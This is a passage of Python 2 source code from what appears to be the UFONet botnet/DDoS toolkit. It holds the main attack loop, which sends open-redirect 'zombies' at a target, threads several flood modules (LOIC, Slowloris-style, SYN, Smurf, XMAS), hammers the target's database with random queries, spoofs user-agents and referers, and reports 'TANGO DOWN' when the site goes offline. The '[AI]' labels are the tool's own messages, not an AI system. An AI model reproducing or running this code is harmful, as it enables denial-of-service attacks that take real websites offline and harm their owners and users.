  3436. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  3437. if not self.options.forceyes:
  3438. update_reply = raw_input("[AI] Do you want update your army? (Y/n)")
  3439. print '-'*25
  3440. else:
  3441. update_reply = "Y"
  3442. if update_reply == "n" or update_reply == "N":
  3443. print "[AI] "+self.exit_msg+"\n"
  3444. return
  3445. else:
  3446. if num_disconnected_zombies > 0:
  3447. self.update_zombies(zombies_ready)
  3448. if num_failed_rpcs > 0:
  3449. self.update_rpcs(rpcs_ready)
  3450. if not self.options.upload:
  3451. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3452. else:
  3453. print "[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n"
  3454. def attacking(self, zombies, target):
  3455. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  3456. if self.options.forcessl:
  3457. if target.startswith("http://"):
  3458. target = target.replace("http://", "https://") # force SSL/TLS
  3459. if target.startswith("http://") or target.startswith("https://"):
  3460. print "Attacking:", target
  3461. print '='*55, "\n"
  3462. # send Open Redirect injection (multiple zombies > one target url)
  3463. reply = self.injection(target, zombies)
  3464. else:
  3465. print "\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n"
  3466. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas):
  3467. # perform some other extra attacks (such as DoS techniques)
  3468. time.sleep(2) # aiming (multi-threading flow time compensation)
  3469. if loic:
  3470. try:
  3471. self.options.loic = int(loic)
  3472. except:
  3473. self.options.loic = 100 # default LOIC requests
  3474. if self.options.loic < 1:
  3475. self.options.loic = 100
  3476. self.instance = LOIC() # instance main class for LOIC operations
  3477. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  3478. t.daemon = True # extra weapons are threaded as daemons
  3479. t.start()
  3480. self.update_loic_stats() # add new LOIC attack to mothership
  3481. if loris:
  3482. try:
  3483. self.options.loris = int(loris)
  3484. except:
  3485. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  3486. if self.options.loris < 1:
  3487. self.options.loris = 101
  3488. self.instance = LORIS() # instance main class for LORIS operations
  3489. t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  3490. t2.daemon = True
  3491. t2.start()
  3492. self.update_loris_stats() # add new LORIS attack to mothership
  3493. if ufosyn:
  3494. try:
  3495. self.options.ufosyn = int(ufosyn)
  3496. except:
  3497. self.options.ufosyn = 100 # default UFOSYN requests
  3498. if self.options.ufosyn < 1:
  3499. self.options.ufosyn = 100
  3500. self.instance = UFOSYN() # instance main class for UFOSYN operations
  3501. t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  3502. t3.daemon = True
  3503. t3.start()
  3504. self.update_ufosyn_stats() # add new UFOSYN attack to mothership
  3505. if spray:
  3506. try:
  3507. self.options.spray = int(spray)
  3508. except:
  3509. self.options.spray = 100 # default SPRAY requests
  3510. if self.options.spray < 1:
  3511. self.options.spray = 100
  3512. self.instance = SPRAY() # instance main class for SPRAY operations
  3513. t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  3514. t4.daemon = True
  3515. t4.start()
  3516. self.update_spray_stats() # add new SPRAY attack to mothership
  3517. if smurf:
  3518. try:
  3519. self.options.smurf = int(smurf)
  3520. except:
  3521. self.options.smurf = 101 # default SMURF requests
  3522. if self.options.smurf < 1:
  3523. self.options.smurf = 101
  3524. self.instance = SMURF() # instance main class for SMURF operations
  3525. t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  3526. t5.daemon = True
  3527. t5.start()
  3528. self.update_smurf_stats() # add new SMURF attack to mothership
  3529. if xmas:
  3530. try:
  3531. self.options.xmas = int(xmas)
  3532. except:
  3533. self.options.xmas = 101 # default XMAS requests
  3534. if self.options.xmas < 1:
  3535. self.options.xmas = 101
  3536. self.instance = XMAS() # instance main class for XMAS operations
  3537. t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  3538. t6.daemon = True
  3539. t6.start()
  3540. self.update_xmas_stats() # add new XMAS attack to mothership
  3541. def stressing(self, target, zombie):
  3542. # perform a DDoS Web attack against a target, requesting records on target's database
  3543. options = self.options
  3544. db_input = self.options.dbstress
  3545. def random_key(length):
  3546. key = ''
  3547. for i in range(length):
  3548. key += random.choice(string.lowercase + string.uppercase + string.digits)
  3549. return key
  3550. # generating random alphanumeric queries
  3551. if self.db_flash > 9: # set db flash start on: 10
  3552. length = 1024 # search a heavy random length query (db flash): 1024
  3553. self.db_flash = 0 # reset db flash counter
  3554. else:
  3555. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  3556. key = str(random_key(length))
  3557. if self.db_flash > 9:
  3558. print "\n[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)"
  3559. else:
  3560. print "\n[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key
  3561. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3562. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3563. if not target.endswith('/'): # add "/" to end of target
  3564. target = target + "/"
  3565. url = zombie + target + db_input + key
  3566. req = urllib2.Request(url, None, headers)
  3567. if options.proxy: # set proxy
  3568. self.proxy_transport(options.proxy)
  3569. try:
  3570. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  3571. except urllib2.HTTPError, e:
  3572. if e.code == 401:
  3573. print '[Info] [DBStress] Not authorized'
  3574. elif e.code == 404:
  3575. print '[Info] [DBStress] Not found'
  3576. elif e.code == 503:
  3577. print '[Info] [DBStress] Service unavailable'
  3578. else:
  3579. print '[Info] [DBStress] Unknown error'
  3580. else:
  3581. print '[Info] [DBStress] Database query: HIT!'
  3582. def attackme(self, zombies):
  3583. # perform a DDoS Web attack against yourself
  3584. print "[AI] Starting local port to listening at: " + self.port + "\n"
  3585. print '='*21 + "\n"
  3586. self.doll=Doll(self)
  3587. self.doll.start()
  3588. while not self.doll._armed:
  3589. time.sleep(1)
  3590. # send Open Redirect injection (multiple zombies-multiple target urls)
  3591. target = ""
  3592. self.injection(target, zombies)
  3593. self.doll.shutdown()
  3594. self.doll.join()
  3595. self.herd.list_fails()
  3596. def check_target_status(self):
  3597. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  3598. print "\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n"
  3599. if not self.options.forceyes:
  3600. update_reply = raw_input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  3601. print "\n" + '-'*25
  3602. else:
  3603. update_reply = "N"
  3604. if update_reply == "y" or update_reply == "Y":
  3605. try: # send HEAD connection
  3606. self.head = True
  3607. reply = self.connect_zombie(target)
  3608. self.head = False
  3609. if reply:
  3610. print "\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n"
  3611. else:
  3612. print "\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n"
  3613. self.update_targets_crashed() # update targets crashed stats
  3614. self.update_mothership_stats() # update mothership completed attack stats
  3615. except Exception:
  3616. print "\n[Error] [AI] Something wrong with your connection!...\n"
  3617. if self.options.verbose:
  3618. traceback.print_exc()
  3619. return
  3620. else:
  3621. print "\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n"
  3622. self.update_targets_crashed() # update targets crashed stats
  3623. self.update_mothership_stats() # update mothership completed attack stats
  3624. return
  3625. def starting_target_check(self, target, head_check):
  3626. options = self.options
  3627. head_check_here = False
  3628. head_check_external = False
  3629. if options.disablehead: # check at start is disabled (skipping!)
  3630. print "[Info] [AI] Skipping external check...\n"
  3631. head_check_here = True
  3632. head_check_external = True
  3633. else:
  3634. if head_check:
  3635. if not options.attackme:
  3636. print "[AI] Launching: 'Is target up?' check...\n"
  3637. try: # send HEAD connection
  3638. self.head = True
  3639. reply = self.connect_zombie(target)
  3640. self.head = False
  3641. if reply:
  3642. print "[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]"
  3643. head_check_here = True
  3644. else:
  3645. print "[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]"
  3646. head_check_here = False
  3647. except Exception:
  3648. print "[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]"
  3649. if self.options.verbose:
  3650. traceback.print_exc()
  3651. head_check_here = False
  3652. else: # check if local IP/PORT is listening on mothership
  3653. print "[AI] Launching: 'Is NAT ready?' check...\n"
  3654. try:
  3655. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  3656. result = sock.connect_ex(('0.0.0.0',8080))
  3657. if result == 0 or result == 110: # black magic
  3658. print "[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080"
  3659. head_check_here = True
  3660. else:
  3661. print "[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080"
  3662. head_check_here = False
  3663. except Exception:
  3664. print "[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports..."
  3665. if self.options.verbose:
  3666. traceback.print_exc()
  3667. head_check_here = False
  3668. else:
  3669. head_check_here = True
  3670. # check target using external check services
  3671. self.external = True
  3672. if not options.attackme:
  3673. try:
  3674. url = self.external_check_service1 + target # check from external service [1]
  3675. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3676. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3677. if options.proxy: # set proxy
  3678. self.proxy_transport(options.proxy)
  3679. req = urllib2.Request(url, None, headers)
  3680. external_reply = urllib2.urlopen(req, context=self.ctx).read()
  3681. if "It's just you" in external_reply:
  3682. t = urlparse(self.external_check_service1)
  3683. name_external1 = t.netloc
  3684. print "[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]"
  3685. head_check_external = True
  3686. else:
  3687. url = self.external_check_service2 + target # check from external service [2]
  3688. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3689. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3690. if options.proxy: # set proxy
  3691. self.proxy_transport(options.proxy)
  3692. req = urllib2.Request(url, None, headers)
  3693. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  3694. if 'returned code 200 OK and is up' in req_reply:
  3695. t = urlparse(self.external_check_service2)
  3696. name_external2 = t.netloc
  3697. print "[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]"
  3698. head_check_external = True
  3699. else:
  3700. print "[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]"
  3701. head_check_external = False
  3702. except Exception:
  3703. print "[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]"
  3704. head_check_external = False
  3705. else:
  3706. try: # check mothership from public ip / NAT using HEAD request
  3707. try:
  3708. conn = httplib.HTTPConnection(str(self.pub_ip), 8080, timeout=10)
  3709. conn.request("HEAD", "/")
  3710. reply = conn.getresponse()
  3711. except Exception:
  3712. reply = None
  3713. if reply:
  3714. print "[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]"
  3715. head_check_external = True
  3716. else:
  3717. print "[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]"
  3718. head_check_external = False
  3719. head_check_here = False # stop attack if not public IP available
  3720. except Exception:
  3721. print "[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]"
  3722. head_check_here = False # stop attack if not public IP available
  3723. if self.options.verbose:
  3724. traceback.print_exc()
  3725. head_check_external = False
  3726. self.external = False
  3727. return head_check_here, head_check_external
  3728. def injection(self, target, zombies, head_check = True):
  3729. options = self.options
  3730. # check target's integrity at start
  3731. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  3732. # ask user to confirm the attack
  3733. if head_check_here == True or head_check_external == True:
  3734. if not self.options.forceyes:
  3735. if not options.attackme:
  3736. if not options.disablehead:
  3737. start_reply = raw_input("[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  3738. else:
  3739. start_reply = raw_input("[AI] Do you want to start an attack, directly? (y/N)\n")
  3740. else:
  3741. if not options.disablehead:
  3742. start_reply = raw_input("[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  3743. else:
  3744. start_reply = raw_input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  3745. else:
  3746. start_reply = "Y"
  3747. if start_reply == "y" or start_reply == "Y":
  3748. if options.attackme:
  3749. total_rounds = "2" # default rounds for attackme
  3750. else:
  3751. total_rounds = options.rounds # extract number of rounds
  3752. if total_rounds <= "0":
  3753. total_rounds = "1"
  3754. self.herd.cleanup()
  3755. num_round = 1
  3756. num_hits = 0
  3757. num_zombie = 1
  3758. # start to attack the target with [MODS]
  3759. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas:
  3760. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas)) # multithreading flow for extra attacks
  3761. ex.daemon = True # extra weapons are threaded as daemons
  3762. ex.start()
  3763. # start to attack the target with [ARMY]
  3764. zombies = self.extract_zombies() # extract zombies from file
  3765. if zombies:
  3766. self.total_zombie = len(zombies)
  3767. else:
  3768. self.total_zombie = 0
  3769. return
  3770. self.herd=Herd(self)
  3771. if not self.options.disablepurge:
  3772. self.discardzombies = []
  3773. self.discard_aliens = []
  3774. self.discard_droids = []
  3775. self.discard_rpcs = []
  3776. self.discard_ucavs = []
  3777. total_disc_zombies = 0
  3778. self.num_discard_zombies = 0
  3779. self.num_discard_aliens = 0
  3780. self.num_discard_droids = 0
  3781. self.num_discard_rpcs = 0
  3782. self.num_discard_ucavs = 0
  3783. self.empty_zombies = False
  3784. for i in range(0, int(total_rounds)): # start attacking using rounds
  3785. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  3786. print '='*42
  3787. print 'Starting round:', num_round, ' of ', total_rounds
  3788. print '='*42
  3789. self.herd.reset()
  3790. self.extra_zombies_lock = True
  3791. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  3792. self.send_zombies(zombies) # send [Zombies]
  3793. if not self.options.attackme:
  3794. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  3795. if self.options.verbose:
  3796. print "[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]"
  3797. self.send_extra_zombies() # send [ARMY]
  3798. while self.extra_zombies_lock == True:
  3799. time.sleep(1) # wait for [ARMY] to return
  3800. if self.options.verbose:
  3801. print "\n" + '='*42
  3802. print "\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]"
  3803. else:
  3804. zombies_lock = 0
  3805. if self.options.expire: # set timing for purge
  3806. try:
  3807. timing = int(self.options.expire)
  3808. except:
  3809. timing = self.expire_timing # default timing for purge
  3810. else:
  3811. timing = self.expire_timing # default timing for purge
  3812. if timing < 1:
  3813. timing = self.expire_timing # default timing for purge
  3814. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3815. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  3816. zombies_lock = zombies_lock + 1
  3817. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3818. if self.options.verbose:
  3819. print "[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]"
  3820. break
  3821. else:
  3822. time.sleep(1)
  3823. if self.options.verbose:
  3824. print "\n" + '='*42
  3825. print "\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]"
  3826. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  3827. self.check_target_status()
  3828. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  3829. self.abandoning_zombies() # check for abandoning zombies
  3830. for zombie in self.herd.done: # check for num hits
  3831. if self.herd.connection_failed(zombie) == False:
  3832. num_hits = num_hits + 1
  3833. num_zombie = num_zombie + 1
  3834. if num_zombie > self.total_zombie:
  3835. num_zombie = 1
  3836. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  3837. check_is_loading = self.check_is_loading(target)
  3838. self.herd.dump_html()
  3839. if not self.options.disablepurge:
  3840. if self.empty_zombies == True:
  3841. break # exit routine when not any more zombies
  3842. num_round = num_round + 1
  3843. if self.options.verbose:
  3844. print "\n" + '='*42
  3845. print "\n[Info] [AI] This battle is over! -> [Reporting!]"
  3846. if self.options.target_list:
  3847. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  3848. print ("\x1b[2J\x1b[H") # black magic
  3849. if not self.options.attackme: # show herd results
  3850. self.herd.dump()
  3851. else: # show doll results
  3852. print '='*21
  3853. print "\n[Info] [AI] Mothership transmission...\n"
  3854. num_real_zombies = len(self.doll.real_zombies)
  3855. print "[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n"
  3856. for z in self.doll.real_zombies: # show only alien verified zombies
  3857. for x in z:
  3858. print " - " + str(x)
  3859. self.herd.dump_html(True) # show (all) zombies statistics
  3860. if not self.options.attackme:
  3861. if not self.options.disablepurge:
  3862. print "\n[Info] [AI] Report completed! -> [Purging!]\n"
  3863. else:
  3864. if not options.target_list:
  3865. print "\n[Info] [AI] Report completed! -> [Exiting!]\n"
  3866. else:
  3867. print "\n[Info] [AI] Report completed! -> [OK!]\n"
  3868. self.update_mothership_stats() # update mothership stats
  3869. if not self.options.disablepurge:
  3870. print '='*21+ "\n"
  3871. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  3872. if total_disc_zombies > 0 and total_disc_zombies < 2:
  3873. print "[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n"
  3874. elif total_disc_zombies > 1:
  3875. print "[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n"
  3876. if self.num_discard_zombies > 0:
  3877. print " + Zombies: ["+ str(self.num_discard_zombies)+"]"
  3878. if self.num_discard_aliens > 0:
  3879. print " + Aliens : ["+ str(self.num_discard_aliens)+"]"
  3880. if self.num_discard_droids > 0:
  3881. print " + Droids : ["+ str(self.num_discard_droids)+"]"
  3882. if self.num_discard_rpcs > 0:
  3883. print " + X-RPCs : ["+ str(self.num_discard_rpcs)+"]"
  3884. if self.num_discard_ucavs > 0:
  3885. print " + UCAVs : ["+ str(self.num_discard_ucavs)+"]"
  3886. if total_disc_zombies > 0:
  3887. if not self.options.forceyes:
  3888. if total_disc_zombies > 0 and total_disc_zombies < 2:
  3889. backup_reply = raw_input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  3890. elif total_disc_zombies > 1:
  3891. backup_reply = raw_input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  3892. else:
  3893. backup_reply = "Y"
  3894. if backup_reply == "y" or backup_reply == "Y":
  3895. print "\n[Info] [AI] Purging failed units from files...\n"
  3896. discarded = []
  3897. if self.num_discard_zombies > 0:
  3898. for z in self.discardzombies:
  3899. discarded.append(z)
  3900. print " + [Info] [Zombies] "+z+" -> [Purged!]"
  3901. if self.num_discard_aliens > 0:
  3902. for a in self.discard_aliens:
  3903. discarded.append(a)
  3904. print " + [Info] [Aliens] "+a+" -> [Purged!]"
  3905. if self.num_discard_droids > 0:
  3906. for d in self.discard_droids:
  3907. discarded.append(d)
  3908. print " + [Info] [Droids] "+d+" -> [Purged!]"
  3909. if self.num_discard_rpcs > 0:
  3910. for r in self.discard_rpcs:
  3911. discarded.append(r)
  3912. print " + [Info] [X-RPCs] "+r+" -> [Purged!]"
  3913. if self.num_discard_ucavs > 0:
  3914. for u in self.discard_ucavs:
  3915. discarded.append(u)
  3916. print " + [Info] [UCAVs] "+u+" -> [Purged!]"
  3917. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3918. if disc_zombies > 0 and disc_zombies < 2:
  3919. print "\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n"
  3920. elif disc_zombies > 1:
  3921. print "\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n"
  3922. if not self.options.target_list:
  3923. print '-'*21+ "\n"
  3924. print "[AI] "+self.exit_msg+"\n"
  3925. if not self.options.web:
  3926. return
  3927. else:
  3928. if self.num_target_list > 0: # still more targets
  3929. print '-'*21+ "\n"
  3930. print "[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n"
  3931. return
  3932. else: # finish attack from multiple targets
  3933. print '-'*21+ "\n"
  3934. print "[Info] [AI] Attack against: "+str(target)+" -> [Finished!]"
  3935. print "\n"+ '='*21+ "\n"
  3936. print "[Info] [AI] All your battles have ended! -> [Exiting!]"
  3937. print "\n"+ '-'*21+ "\n"
  3938. print "[AI] "+self.exit_msg+"\n"
  3939. if not self.options.web:
  3940. return
  3941. else:
  3942. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  3943. print "\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n"
  3944. if os.path.exists('mothership') == True:
  3945. os.remove('mothership') # remove mothership stream
  3946. if os.path.exists('alien') == True:
  3947. os.remove('alien') # remove random alien worker
  3948. if not options.web:
  3949. sys.exit(2) # exit
  3950. else:
  3951. return
  3952. else:
  3953. print "\n" + '='*21
  3954. AI_reply = raw_input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  3955. if AI_reply == "y" or AI_reply == "Y":
  3956. self.AI() # AI fortune cookie
  3957. print '-'*21+ "\n"
  3958. print "\n[AI] "+self.exit_msg+"\n"
  3959. if os.path.exists('mothership') == True:
  3960. os.remove('mothership') # remove mothership stream
  3961. if os.path.exists('alien') == True:
  3962. os.remove('alien') # remove random alien worker
  3963. if not options.web:
  3964. sys.exit(2) # exit
  3965. else:
  3966. return
  3967. else:
  3968. if not options.attackme:
  3969. print "\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]"
  3970. else:
  3971. print "\n[Error] [AI] NAT is not working correctly! -> [Exiting!]"
  3972. print "\n" + '-'*21
  3973. print "\n[AI] "+self.exit_msg+"\n"
  3974. if os.path.exists('mothership') == True:
  3975. os.remove('mothership') # remove mothership stream
  3976. if os.path.exists('alien') == True:
  3977. os.remove('alien') # remove random alien worker
  3978. return
  3979. if __name__ == "__main__":
  3980. app = UFONet()
  3981. options = app.create_options()
  3982. if options:
  3983. app.run()